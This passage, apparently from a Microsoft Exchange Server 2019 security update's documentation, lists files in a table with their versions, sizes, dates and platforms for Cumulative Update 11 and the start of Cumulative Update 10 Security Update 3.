\nMicrosoft.exchange.server.storage.xpress.dll| 15.2.986.11| 19,328| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.servicehost.eventlog.dll| 15.2.986.11| 14,728| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.servicehost.exe| 15.2.986.14| 60,808| 3-Nov-21| 19:44| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.dll| 15.2.986.14| 50,552| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.eventlog.dll| 15.2.986.11| 14,208| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.servicelets.unifiedpolicysyncservicelet.eventlog.dll| 15.2.986.11| 14,224| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.services.common.dll| 15.2.986.14| 74,104| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.services.dll| 15.2.986.14| 8,480,632| 3-Nov-21| 20:46| x86 \nMicrosoft.exchange.services.eventlogs.dll| 15.2.986.11| 30,088| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.services.ewshandler.dll| 15.2.986.14| 633,720| 3-Nov-21| 20:58| x86 \nMicrosoft.exchange.services.ewsserialization.dll| 15.2.986.14| 1,651,064| 3-Nov-21| 20:50| x86 \nMicrosoft.exchange.services.json.dll| 15.2.986.14| 296,336| 3-Nov-21| 20:54| x86 \nMicrosoft.exchange.services.messaging.dll| 15.2.986.14| 43,400| 3-Nov-21| 20:48| x86 \nMicrosoft.exchange.services.onlinemeetings.dll| 15.2.986.14| 232,848| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.services.surface.dll| 15.2.986.14| 178,576| 3-Nov-21| 20:56| x86 \nMicrosoft.exchange.services.wcf.dll| 15.2.986.14| 348,552| 3-Nov-21| 20:51| x86 \nMicrosoft.exchange.setup.acquirelanguagepack.dll| 15.2.986.13| 56,720| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.setup.bootstrapper.common.dll| 15.2.986.13| 96,144| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.setup.common.dll| 15.2.986.14| 297,848| 3-Nov-21| 20:48| x86 \nMicrosoft.exchange.setup.commonbase.dll| 15.2.986.14| 35,720| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.setup.console.dll| 15.2.986.14| 27,000| 3-Nov-21| 20:52| x86 \nMicrosoft.exchange.setup.gui.dll| 15.2.986.14| 116,600| 3-Nov-21| 20:51| x86 \nMicrosoft.exchange.setup.parser.dll| 15.2.986.14| 54,136| 3-Nov-21| 20:25| x86 \nMicrosoft.exchange.setup.signverfwrapper.dll| 15.2.986.11| 75,128| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.sharedcache.caches.dll| 15.2.986.14| 142,736| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.sharedcache.client.dll| 15.2.986.14| 24,968| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.sharedcache.eventlog.dll| 15.2.986.11| 15,224| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.sharedcache.exe| 15.2.986.14| 58,752| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.sharepointsignalstore.dll| 15.2.986.13| 27,008| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.slabmanifest.dll| 15.2.986.11| 46,968| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.sqm.dll| 15.2.986.13| 46,992| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.store.service.exe| 15.2.986.14| 28,048| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.store.worker.exe| 15.2.986.14| 26,512| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.storeobjectsservice.eventlog.dll| 15.2.986.11| 13,696| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.storeobjectsservice.exe| 15.2.986.14| 31,624| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.storeprovider.dll| 15.2.986.14| 1,205,128| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.structuredquery.dll| 15.2.986.11| 158,608| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.symphonyhandler.dll| 15.2.986.14| 628,112| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.syncmigration.eventlog.dll| 15.2.986.11| 13,192| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.syncmigrationservicelet.dll| 15.2.986.14| 16,248| 3-Nov-21| 20:24| x86 \nMicrosoft.exchange.systemprobemsg.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.textprocessing.dll| 15.2.986.14| 221,584| 3-Nov-21| 18:32| x86 \nMicrosoft.exchange.textprocessing.eventlog.dll| 15.2.986.11| 13,712| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.transport.agent.addressbookpolicyroutingagent.dll| 15.2.986.14| 29,048| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.antispam.common.dll| 15.2.986.14| 138,104| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 15.2.986.14| 21,880| 3-Nov-21| 18:31| x86 \nMicrosoft.exchange.transport.agent.controlflow.dll| 15.2.986.14| 40,312| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.faultinjectionagent.dll| 15.2.986.14| 22,920| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.transport.agent.frontendproxyagent.dll| 15.2.986.14| 21,384| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.transport.agent.hygiene.dll| 15.2.986.14| 213,392| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.interceptoragent.dll| 15.2.986.14| 99,208| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.transport.agent.liveidauth.dll| 15.2.986.14| 22,904| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.transport.agent.malware.dll| 15.2.986.14| 169,352| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.transport.agent.malware.eventlog.dll| 15.2.986.11| 18,296| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.transport.agent.phishingdetection.dll| 15.2.986.14| 20,880| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.transport.agent.prioritization.dll| 15.2.986.14| 31,608| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 15.2.986.14| 46,968| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.search.dll| 15.2.986.14| 30,080| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.transport.agent.senderid.core.dll| 15.2.986.14| 53,136| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.transport.agent.sharedmailboxsentitemsroutingagent.dll| 15.2.986.14| 47,480| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.transport.agent.systemprobedrop.dll| 15.2.986.14| 18,296| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.transport.agent.transportfeatureoverrideagent.dll| 15.2.986.14| 46,472| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 15.2.986.14| 46,472| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.cloudmonitor.common.dll| 15.2.986.13| 28,024| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.transport.common.dll| 15.2.986.14| 457,096| 3-Nov-21| 19:20| x86 \nMicrosoft.exchange.transport.contracts.dll| 15.2.986.14| 18,296| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.transport.decisionengine.dll| 15.2.986.14| 30,608| 3-Nov-21| 18:26| x86 \nMicrosoft.exchange.transport.dll| 15.2.986.14| 4,183,440| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.transport.dsapiclient.dll| 15.2.986.14| 182,160| 3-Nov-21| 19:20| x86 \nMicrosoft.exchange.transport.eventlog.dll| 15.2.986.11| 121,736| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.transport.extensibility.dll| 15.2.986.14| 406,928| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.transport.extensibilityeventlog.dll| 15.2.986.11| 14,720| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.transport.flighting.dll| 15.2.986.14| 90,000| 3-Nov-21| 18:26| x86 \nMicrosoft.exchange.transport.logging.dll| 15.2.986.14| 88,976| 3-Nov-21| 19:20| x86 \nMicrosoft.exchange.transport.logging.search.dll| 15.2.986.14| 68,472| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.transport.loggingcommon.dll| 15.2.986.14| 63,352| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.transport.monitoring.dll| 15.2.986.14| 428,920| 3-Nov-21| 21:24| x86 \nMicrosoft.exchange.transport.net.dll| 15.2.986.14| 121,232| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.transport.protocols.contracts.dll| 15.2.986.14| 17,784| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.transport.protocols.dll| 15.2.986.14| 29,064| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.transport.protocols.httpsubmission.dll| 15.2.986.14| 60,296| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.transport.requestbroker.dll| 15.2.986.13| 49,552| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.transport.scheduler.contracts.dll| 15.2.986.14| 33,160| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.transport.scheduler.dll| 15.2.986.14| 112,528| 3-Nov-21| 19:40| x86 \nMicrosoft.exchange.transport.smtpshared.dll| 15.2.986.13| 18,312| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.transport.storage.contracts.dll| 15.2.986.14| 52,104| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.transport.storage.dll| 15.2.986.14| 672,136| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.transport.storage.management.dll| 15.2.986.14| 23,952| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.transport.sync.agents.dll| 15.2.986.14| 17,784| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.transport.sync.common.dll| 15.2.986.14| 487,304| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.sync.common.eventlog.dll| 15.2.986.11| 12,664| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.transport.sync.manager.dll| 15.2.986.14| 306,064| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.transport.sync.manager.eventlog.dll| 15.2.986.11| 15,744| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.transport.sync.migrationrpc.dll| 15.2.986.14| 46,456| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.transport.sync.worker.dll| 15.2.986.14| 1,044,360| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.transport.sync.worker.eventlog.dll| 15.2.986.11| 15,248| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.transportlogsearch.eventlog.dll| 15.2.986.11| 18,824| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.transportsyncmanagersvc.exe| 15.2.986.14| 18,808| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 15.2.986.13| 118,672| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.um.umcommon.dll| 15.2.986.14| 925,048| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.um.umcore.dll| 15.2.986.14| 1,469,840| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.um.umvariantconfiguration.dll| 15.2.986.14| 32,632| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.unifiedcontent.dll| 15.2.986.14| 41,848| 3-Nov-21| 18:18| x86 \nMicrosoft.exchange.unifiedcontent.exchange.dll| 15.2.986.14| 24,976| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.unifiedpolicyfilesync.eventlog.dll| 15.2.986.11| 15,248| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.unifiedpolicyfilesyncservicelet.dll| 15.2.986.14| 83,320| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.unifiedpolicysyncservicelet.dll| 15.2.986.14| 50,040| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.variantconfiguration.antispam.dll| 15.2.986.14| 658,808| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.variantconfiguration.core.dll| 15.2.986.11| 186,248| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.variantconfiguration.dll| 15.2.986.14| 67,448| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.variantconfiguration.eventlog.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.variantconfiguration.excore.dll| 15.2.986.14| 56,704| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.variantconfiguration.globalsettings.dll| 15.2.986.14| 28,048| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.variantconfiguration.hygiene.dll| 15.2.986.14| 120,696| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.variantconfiguration.protectionservice.dll| 15.2.986.14| 31,608| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.variantconfiguration.threatintel.dll| 15.2.986.14| 57,208| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.webservices.auth.dll| 15.2.986.11| 35,720| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.webservices.dll| 15.2.986.11| 1,054,088| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.webservices.xrm.dll| 15.2.986.11| 67,976| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.wlmservicelet.dll| 15.2.986.14| 23,432| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.wopiclient.dll| 15.2.986.13| 76,168| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.workingset.signalapi.dll| 15.2.986.11| 17,280| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.workingsetabstraction.signalapiabstraction.dll| 15.2.986.11| 29,064| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.workloadmanagement.dll| 15.2.986.14| 505,224| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.workloadmanagement.eventlogs.dll| 15.2.986.11| 14,728| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.workloadmanagement.throttling.configuration.dll| 15.2.986.14| 36,728| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.workloadmanagement.throttling.dll| 15.2.986.14| 66,440| 3-Nov-21| 19:37| x86 \nMicrosoft.fast.contextlogger.json.dll| 15.2.986.11| 19,320| 3-Nov-21| 18:11| x86 \nMicrosoft.filtering.dll| 15.2.986.14| 113,016| 3-Nov-21| 18:23| x86 \nMicrosoft.filtering.exchange.dll| 15.2.986.14| 57,232| 3-Nov-21| 19:51| x86 \nMicrosoft.filtering.interop.dll| 15.2.986.11| 15,232| 3-Nov-21| 18:13| x86 \nMicrosoft.forefront.activedirectoryconnector.dll| 15.2.986.14| 46,992| 3-Nov-21| 18:59| x86 \nMicrosoft.forefront.activedirectoryconnector.eventlog.dll| 15.2.986.11| 15,736| 3-Nov-21| 18:14| x64 \nMicrosoft.forefront.filtering.common.dll| 15.2.986.11| 23,928| 3-Nov-21| 18:14| x86 \nMicrosoft.forefront.filtering.diagnostics.dll| 15.2.986.11| 22,416| 3-Nov-21| 18:11| x86 \nMicrosoft.forefront.filtering.eventpublisher.dll| 15.2.986.11| 34,176| 3-Nov-21| 18:13| x86 \nMicrosoft.forefront.management.powershell.format.ps1xml| Not applicable| 48,941| 3-Nov-21| 20:40| Not applicable \nMicrosoft.forefront.management.powershell.types.ps1xml| Not applicable| 16,317| 3-Nov-21| 20:40| Not applicable \nMicrosoft.forefront.monitoring.activemonitoring.local.components.dll| 15.2.986.14| 1,517,960| 3-Nov-21| 21:27| x86 \nMicrosoft.forefront.monitoring.activemonitoring.local.components.messages.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:18| x64 \nMicrosoft.forefront.monitoring.management.outsidein.dll| 15.2.986.14| 33,168| 3-Nov-21| 21:00| x86 \nMicrosoft.forefront.recoveryactionarbiter.contract.dll| 15.2.986.11| 18,312| 3-Nov-21| 18:13| x86 \nMicrosoft.forefront.reporting.common.dll| 15.2.986.14| 45,952| 3-Nov-21| 19:53| x86 \nMicrosoft.forefront.reporting.ondemandquery.dll| 15.2.986.14| 50,568| 3-Nov-21| 19:53| x86 \nMicrosoft.isam.esent.collections.dll| 15.2.986.13| 72,568| 3-Nov-21| 18:13| x86 \nMicrosoft.isam.esent.interop.dll| 15.2.986.13| 541,584| 3-Nov-21| 18:11| x86 \nMicrosoft.managementgui.dll| 15.2.986.11| 133,520| 3-Nov-21| 18:11| x86 \nMicrosoft.mce.interop.dll| 15.2.986.11| 24,440| 3-Nov-21| 18:11| x86 \nMicrosoft.office.audit.dll| 15.2.986.11| 124,800| 3-Nov-21| 18:11| x86 \nMicrosoft.office.client.discovery.unifiedexport.dll| 15.2.986.14| 585,616| 3-Nov-21| 18:28| x86 \nMicrosoft.office.common.ipcommonlogger.dll| 15.2.986.14| 42,360| 3-Nov-21| 18:20| x86 \nMicrosoft.office.compliance.console.core.dll| 15.2.986.14| 218,000| 3-Nov-21| 22:15| x86 \nMicrosoft.office.compliance.console.dll| 15.2.986.14| 854,904| 3-Nov-21| 22:24| x86 \nMicrosoft.office.compliance.console.extensions.dll| 15.2.986.14| 485,776| 3-Nov-21| 22:22| x86 \nMicrosoft.office.compliance.core.dll| 15.2.986.14| 412,048| 3-Nov-21| 18:23| x86 \nMicrosoft.office.compliance.ingestion.dll| 15.2.986.14| 36,216| 3-Nov-21| 18:18| x86 \nMicrosoft.office.compliancepolicy.exchange.dar.dll| 15.2.986.14| 85,368| 3-Nov-21| 19:50| x86 \nMicrosoft.office.compliancepolicy.platform.dll| 15.2.986.13| 1,782,672| 3-Nov-21| 18:11| x86 \nMicrosoft.office.datacenter.activemonitoring.management.common.dll| 15.2.986.14| 49,544| 3-Nov-21| 19:50| x86 \nMicrosoft.office.datacenter.activemonitoring.management.dll| 15.2.986.14| 27,536| 3-Nov-21| 19:53| x86 \nMicrosoft.office.datacenter.activemonitoringlocal.dll| 15.2.986.14| 174,984| 3-Nov-21| 18:24| x86 \nMicrosoft.office.datacenter.monitoring.activemonitoring.recovery.dll| 15.2.986.14| 166,288| 3-Nov-21| 19:21| x86 \nMicrosoft.office365.datainsights.uploader.dll| 15.2.986.11| 40,336| 3-Nov-21| 18:11| x86 \nMicrosoft.online.box.shell.dll| 15.2.986.11| 46,456| 3-Nov-21| 18:13| x86 \nMicrosoft.powershell.hostingtools.dll| 15.2.986.11| 67,960| 3-Nov-21| 18:11| x86 \nMicrosoft.powershell.hostingtools_2.dll| 15.2.986.11| 67,960| 3-Nov-21| 18:11| x86 \nMicrosoft.tailoredexperiences.core.dll| 15.2.986.14| 120,184| 3-Nov-21| 18:20| x86 \nMigrateumcustomprompts.ps1| Not applicable| 19,102| 3-Nov-21| 18:11| Not applicable \nModernpublicfoldertomailboxmapgenerator.ps1| Not applicable| 29,044| 3-Nov-21| 18:13| Not applicable \nMovemailbox.ps1| Not applicable| 61,140| 3-Nov-21| 18:11| Not applicable \nMovetransportdatabase.ps1| Not applicable| 30,586| 3-Nov-21| 18:11| Not applicable \nMove_publicfolderbranch.ps1| Not applicable| 17,528| 3-Nov-21| 18:11| Not applicable \nMpgearparser.dll| 15.2.986.11| 99,712| 3-Nov-21| 18:14| x64 \nMsclassificationadapter.dll| 15.2.986.11| 248,704| 3-Nov-21| 18:19| x64 \nMsexchangecompliance.exe| 15.2.986.14| 78,712| 3-Nov-21| 20:14| x86 \nMsexchangedagmgmt.exe| 15.2.986.14| 25,488| 3-Nov-21| 20:01| x86 \nMsexchangedelivery.exe| 15.2.986.14| 38,776| 3-Nov-21| 20:03| x86 \nMsexchangefrontendtransport.exe| 15.2.986.14| 31,608| 3-Nov-21| 19:51| x86 \nMsexchangehmhost.exe| 15.2.986.14| 27,000| 3-Nov-21| 21:24| x86 \nMsexchangehmrecovery.exe| 15.2.986.14| 29,584| 3-Nov-21| 19:16| x86 \nMsexchangemailboxassistants.exe| 15.2.986.14| 72,584| 3-Nov-21| 20:01| x86 \nMsexchangemailboxreplication.exe| 15.2.986.14| 20,880| 3-Nov-21| 20:08| x86 \nMsexchangemigrationworkflow.exe| 15.2.986.14| 69,496| 3-Nov-21| 20:13| x86 \nMsexchangerepl.exe| 15.2.986.14| 72,072| 3-Nov-21| 20:01| x86 \nMsexchangesubmission.exe| 15.2.986.14| 123,256| 3-Nov-21| 20:08| x86 \nMsexchangethrottling.exe| 15.2.986.14| 39,816| 3-Nov-21| 19:00| x86 \nMsexchangetransport.exe| 15.2.986.14| 74,112| 3-Nov-21| 18:59| x86 \nMsexchangetransportlogsearch.exe| 15.2.986.14| 139,128| 3-Nov-21| 19:53| x86 \nMsexchangewatchdog.exe| 15.2.986.11| 55,672| 3-Nov-21| 18:13| x64 \nMspatchlinterop.dll| 15.2.986.11| 53,632| 3-Nov-21| 18:18| x64 \nNativehttpproxy.dll| 15.2.986.11| 91,520| 3-Nov-21| 18:19| x64 \nNavigatorparser.dll| 15.2.986.11| 636,816| 3-Nov-21| 18:13| x64 \nNego2nativeinterface.dll| 15.2.986.11| 19,328| 3-Nov-21| 18:18| x64 \nNegotiateclientcertificatemodule.dll| 15.2.986.11| 30,096| 3-Nov-21| 18:13| x64 \nNewtestcasconnectivityuser.ps1| Not applicable| 19,760| 3-Nov-21| 18:13| Not applicable \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 24,579| 3-Nov-21| 18:13| Not applicable \nNtspxgen.dll| 15.2.986.11| 80,760| 3-Nov-21| 18:18| x64 \nOleconverter.exe| 15.2.986.11| 173,968| 3-Nov-21| 18:13| x64 \nOutsideinmodule.dll| 15.2.986.11| 87,936| 3-Nov-21| 18:13| x64 \nOwaauth.dll| 15.2.986.11| 92,024| 3-Nov-21| 18:18| x64 \nPerf_common_extrace.dll| 15.2.986.11| 245,112| 3-Nov-21| 18:11| x64 \nPerf_exchmem.dll| 15.2.986.11| 86,392| 3-Nov-21| 18:13| x64 \nPipeline2.dll| 15.2.986.11| 1,454,480| 3-Nov-21| 18:14| x64 \nPreparemoverequesthosting.ps1| Not applicable| 70,979| 3-Nov-21| 18:13| Not applicable \nPrepare_moverequest.ps1| Not applicable| 73,225| 3-Nov-21| 18:13| Not applicable \nProductinfo.managed.dll| 15.2.986.11| 27,000| 3-Nov-21| 18:11| x86 \nProxybinclientsstringsdll| 15.2.986.11| 924,536| 3-Nov-21| 18:11| x86 \nPublicfoldertomailboxmapgenerator.ps1| Not applicable| 23,238| 3-Nov-21| 18:13| Not applicable \nQuietexe.exe| 15.2.986.11| 14,712| 3-Nov-21| 18:13| x86 \nRedistributeactivedatabases.ps1| Not applicable| 250,604| 3-Nov-21| 18:11| Not applicable \nReinstalldefaulttransportagents.ps1| Not applicable| 21,675| 3-Nov-21| 20:36| Not applicable \nRemoteexchange.ps1| Not applicable| 23,593| 3-Nov-21| 20:40| Not applicable \nRemoveuserfrompfrecursive.ps1| Not applicable| 14,676| 3-Nov-21| 18:11| Not applicable \nReplaceuserpermissiononpfrecursive.ps1| Not applicable| 15,002| 3-Nov-21| 18:13| Not applicable \nReplaceuserwithuseronpfrecursive.ps1| Not applicable| 15,008| 3-Nov-21| 18:13| Not applicable \nReplaycrimsonmsg.dll| 15.2.986.11| 1,104,784| 3-Nov-21| 18:11| x64 \nResetattachmentfilterentry.ps1| Not applicable| 15,496| 3-Nov-21| 20:36| Not applicable \nResetcasservice.ps1| Not applicable| 21,707| 3-Nov-21| 18:11| Not applicable \nReset_antispamupdates.ps1| Not applicable| 14,101| 3-Nov-21| 18:13| Not applicable \nRestoreserveronprereqfailure.ps1| Not applicable| 15,137| 3-Nov-21| 18:14| Not applicable \nResumemailboxdatabasecopy.ps1| Not applicable| 17,210| 3-Nov-21| 18:11| Not applicable \nRightsmanagementwrapper.dll| 15.2.986.13| 86,416| 3-Nov-21| 18:18| x64 \nRollalternateserviceaccountpassword.ps1| Not applicable| 55,790| 3-Nov-21| 18:13| Not applicable \nRpcperf.dll| 15.2.986.11| 23,408| 3-Nov-21| 18:14| x64 \nRpcproxyshim.dll| 15.2.986.13| 39,304| 3-Nov-21| 18:18| x64 \nRulesauditmsg.dll| 15.2.986.11| 12,664| 3-Nov-21| 18:14| x64 \nSafehtmlnativewrapper.dll| 15.2.986.11| 34,688| 3-Nov-21| 18:18| x64 \nScanenginetest.exe| 15.2.986.11| 956,288| 3-Nov-21| 18:13| x64 \nScanningprocess.exe| 15.2.986.11| 739,192| 3-Nov-21| 18:14| x64 \nSearchdiagnosticinfo.ps1| Not applicable| 16,812| 3-Nov-21| 18:13| Not applicable \nServicecontrol.ps1| Not applicable| 52,329| 3-Nov-21| 18:13| Not applicable \nSetmailpublicfolderexternaladdress.ps1| Not applicable| 20,754| 3-Nov-21| 18:11| Not applicable \nSettingsadapter.dll| 15.2.986.11| 116,112| 3-Nov-21| 18:13| x64 \nSetup.exe| 15.2.986.14| 20,880| 3-Nov-21| 18:18| x86 \nSetupui.exe| 15.2.986.14| 188,296| 3-Nov-21| 20:31| x86 \nSplit_publicfoldermailbox.ps1| Not applicable| 52,169| 3-Nov-21| 18:11| Not applicable \nStartdagservermaintenance.ps1| Not applicable| 27,867| 3-Nov-21| 18:11| Not applicable \nStatisticsutil.dll| 15.2.986.11| 142,208| 3-Nov-21| 18:14| x64 \nStopdagservermaintenance.ps1| Not applicable| 21,129| 3-Nov-21| 18:11| Not applicable \nStoretsconstants.ps1| Not applicable| 15,814| 3-Nov-21| 18:13| Not applicable \nStoretslibrary.ps1| Not applicable| 27,987| 3-Nov-21| 18:13| Not applicable \nStore_mapi_net_bin_perf_x64_exrpcperf.dll| 15.2.986.11| 28,536| 3-Nov-21| 18:13| x64 \nSync_mailpublicfolders.ps1| Not applicable| 43,927| 3-Nov-21| 18:11| Not applicable \nSync_modernmailpublicfolders.ps1| Not applicable| 43,969| 3-Nov-21| 18:11| Not applicable \nTest_mitigationserviceconnectivity.ps1| Not applicable| 14,170| 3-Nov-21| 18:11| Not applicable \nTextconversionmodule.dll| 15.2.986.11| 86,416| 3-Nov-21| 18:13| x64 \nTroubleshoot_ci.ps1| Not applicable| 22,723| 3-Nov-21| 18:13| Not applicable \nTroubleshoot_databaselatency.ps1| Not applicable| 33,433| 3-Nov-21| 18:13| Not applicable \nTroubleshoot_databasespace.ps1| Not applicable| 30,029| 3-Nov-21| 18:13| Not applicable \nUninstall_antispamagents.ps1| Not applicable| 15,473| 3-Nov-21| 18:13| Not applicable \nUpdateapppoolmanagedframeworkversion.ps1| Not applicable| 14,030| 3-Nov-21| 18:11| Not applicable \nUpdatecas.ps1| Not applicable| 38,189| 3-Nov-21| 18:14| Not applicable \nUpdateconfigfiles.ps1| Not applicable| 19,742| 3-Nov-21| 18:14| Not applicable \nUpdateserver.exe| 15.2.986.11| 3,014,520| 3-Nov-21| 18:14| x64 \nUpdate_malwarefilteringserver.ps1| Not applicable| 18,156| 3-Nov-21| 18:11| Not applicable \nWeb.config_053c31bdd6824e95b35d61b0a5e7b62d| Not applicable| 32,046| 3-Nov-21| 22:14| Not applicable \nWsbexchange.exe| 15.2.986.11| 125,312| 3-Nov-21| 18:19| x64 \nX400prox.dll| 15.2.986.11| 103,296| 3-Nov-21| 18:13| x64 \n_search.lingoperators.a| 15.2.986.14| 34,696| 3-Nov-21| 19:37| Not applicable \n_search.lingoperators.b| 15.2.986.14| 34,696| 3-Nov-21| 19:37| Not applicable \n_search.mailboxoperators.a| 15.2.986.14| 290,192| 3-Nov-21| 20:04| Not applicable \n_search.mailboxoperators.b| 15.2.986.14| 290,192| 3-Nov-21| 20:04| Not applicable \n_search.operatorschema.a| 15.2.986.14| 485,776| 3-Nov-21| 19:23| Not applicable \n_search.operatorschema.b| 15.2.986.14| 485,776| 3-Nov-21| 19:23| Not applicable \n_search.tokenoperators.a| 15.2.986.14| 113,032| 3-Nov-21| 19:37| Not applicable \n_search.tokenoperators.b| 15.2.986.14| 113,032| 3-Nov-21| 19:37| Not applicable \n_search.transportoperators.a| 15.2.986.14| 67,984| 3-Nov-21| 20:08| Not applicable \n_search.transportoperators.b| 15.2.986.14| 67,984| 3-Nov-21| 20:08| Not applicable \n \n### \n\n__\n\nMicrosoft Exchange Server 2019 Cumulative Update 10 Security Update 3\n\nFile name| File version| File size| Date| Time| Platform \n---|---|---|---|---|--- \nActivemonitoringeventmsg.dll| 15.2.922.19| 71,048| 3-Nov-21| 19:26| x64 \nActivemonitoringexecutionlibrary.ps1| Not applicable| 29,538| 3-Nov-21| 19:22| Not applicable \nAdduserstopfrecursive.ps1| Not applicable| 14,941| 3-Nov-21| 19:38| Not applicable \nAdemodule.dll| 15.2.922.19| 106,360| 3-Nov-21| 19:25| x64 \nAirfilter.dll| 15.2.922.19| 42,872| 3-Nov-21| 19:25| x64 \nAjaxcontroltoolkit.dll| 15.2.922.19| 92,552| 3-Nov-21| 19:38| x86 \nAntispamcommon.ps1| Not applicable| 13,501| 3-Nov-21| 19:24| Not applicable \nAsdat.msi| Not applicable| 5,087,232| 3-Nov-21| 21:04| Not applicable \nAsentirs.msi| Not applicable| 77,824| 3-Nov-21| 21:04| Not applicable \nAsentsig.msi| Not applicable| 73,728| 3-Nov-21| 19:25| Not applicable \nBigfunnel.bondtypes.dll| 15.2.922.19| 45,432| 3-Nov-21| 19:31| x86 \nBigfunnel.common.dll| 15.2.922.19| 66,448| 3-Nov-21| 19:22| x86 \nBigfunnel.configuration.dll| 15.2.922.19| 118,160| 3-Nov-21| 21:04| x86 \nBigfunnel.entropy.dll| 15.2.922.19| 44,424| 3-Nov-21| 19:30| x86 